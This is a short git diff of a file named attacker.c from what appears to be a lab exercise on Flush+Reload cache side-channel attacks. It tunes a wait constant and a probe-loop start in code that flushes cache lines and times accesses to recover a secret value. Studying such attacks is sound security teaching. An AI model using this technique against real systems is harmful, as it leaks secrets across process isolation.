diff --git a/Part2-FlushReload/attacker.c b/Part2-FlushReload/attacker.c
index daafd6b..5225d7b 100644
--- a/Part2-FlushReload/attacker.c
+++ b/Part2-FlushReload/attacker.c
@@ -9,7 +9,7 @@
 #include "util.h"
 
 #define CACHE_HIT_THRESHOLD 200
-#define WAIT_TIME 100
+#define WAIT_TIME 1000
 int main() {
     int index = -1;
     int flag = -1;
@@ -22,7 +22,7 @@ int main() {
         clflush((ADDR_PTR)buf + i * 128);
     }
     for(int i = 0; i < WAIT_TIME; i++);
-    for(int i = 100; i < 10000; i++) {
+    for(int i = 712; i < 10000; i++) {
         time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
         if(time < CACHE_HIT_THRESHOLD) {
             flag = (i*i) / 1024 % 1024;